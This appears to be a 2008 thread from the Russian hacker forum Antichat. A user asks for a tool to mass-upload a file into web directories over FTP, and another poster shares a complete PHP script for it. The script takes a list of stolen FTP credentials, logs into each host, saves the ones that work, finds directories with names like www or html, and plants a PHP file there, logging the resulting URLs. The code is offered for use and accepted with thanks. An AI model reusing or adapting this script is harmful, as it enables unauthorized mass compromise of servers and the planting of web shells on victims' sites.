Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Ftp тулза (https://forum.antichat.xyz/showthread.php?t=70514)

Хозяин 16.05.2008 23:49

Ftp тулза
 
Срочно нужна тулза, для работы с фтп.
Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)

http://forum.antichat.ru/showthread.php?p=304586

это работает как-то нестабильно, то грузит файл, то отказывается.

Посоветуйте, заранее спасибо

Полуночный Хэкер 16.05.2008 23:53

FileZilla +))) фтп клиентов то полно

Хозяин 16.05.2008 23:54

Причем здесь файлзилла? мне массово нужно это делать

Полуночный Хэкер 16.05.2008 23:55

запусти много файлзил)

Piflit 17.05.2008 00:42

d1ez money maker

diehard 17.05.2008 00:47

вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.

PHP код:

<?
set_time_limit
(0);
Error_Reporting(E_ALL & ~E_NOTICE);


$all_ftp file("ftp.txt");

$remotefilename "sssss.php";
$localfilename "sssss.php";

function 
iswebdir($dir){
  
$strs = array("www""html""http""docs");
  foreach (
$strs as $ptrn){
    if (
strstr($dir$ptrn)) 
      return 
1;
  }
  return 
0;
}

function 
writelog($txt){
  
$flog fopen("log.txt""a");
  
fwrite($flog$txt."\r\n");
  
fclose($flog);
}

for (
$i=0$i<sizeof($all_ftp); $i++){
  
$ftp trim($all_ftp[$i]);
  
$fcurr fopen("current.txt""w");
  
fwrite($fcurr$i."\r\n".$ftp);
  
fclose($fcurr);

  
$login="";
  
$pass="";
  
$account=eregi_replace("\n|\r|ftp://","",trim($ftp));
  
$host=str_replace("/","",substr($account,strrpos($account,"@")+1));
  
$loginpass=substr($account,0,strrpos($account,"@"));
  @list(
$login,$pass)=@explode(":",$loginpass,2);

  
$conn ftp_connect($host2110);
  if (!
$conn) {
    
//writelog("Not connect $ftp");
    
continue;
  } 
//else writelog("Connect to $ftp");

  
$login_result ftp_login($conn$login$pass);
  if (!
$login_result) {
    
//writelog("Wrong login $ftp");
    
ftp_quit($conn);
    continue;
  } 
//else writelog("Login to $ftp");

  
$fvalid fopen("valid.txt""a");
  
fwrite($fvalid$ftp."\r\n");
  
fclose($fvalid);

  
ftp_pasv($conntrue);
  
$rootdir ftp_pwd($conn);
  
//writelog("pwd=$rootdir");
  
$webdirs = array($rootdir);
  
$filelist ftp_rawlist($conn$rootdir);
  foreach (
$filelist as $raw){
    
$filename trim(substr($rawstrrpos($raw" ")));
    
$len strlen($filename);
    if (
substr($filename$len-1) == "/"
      
$filename substr($filename0$len 1);
    if (
$slash strrpos($filename"/"))
      
$filename substr($filename$slash 1);
    if (
substr($raw01) == "d"){ //directory
      
if (iswebdir($filename)){
    
//writelog("webdit ".$rootdir."/".$filename);
    
$webdirs[] = $rootdir."/".$filename;
      }
      }
    }

  foreach (
$webdirs as $dir){
    
$f1 $dir."/".$remotefilename;
    
$f2 $localfilename;
    if (
ftp_put($conn$f1$f2FTP_BINARY))
    
//writelog("uploaded $f2 to $f1");
    
writelog("http://".$host."/sssss.php");
     
//else
    //writelog("cannot upload $f2 to $f1");
  
}  

  
ftp_quit($conn);
}

?>


Хозяин 17.05.2008 01:20

Спасибо, это именно то, что нужно!


Время: 23:27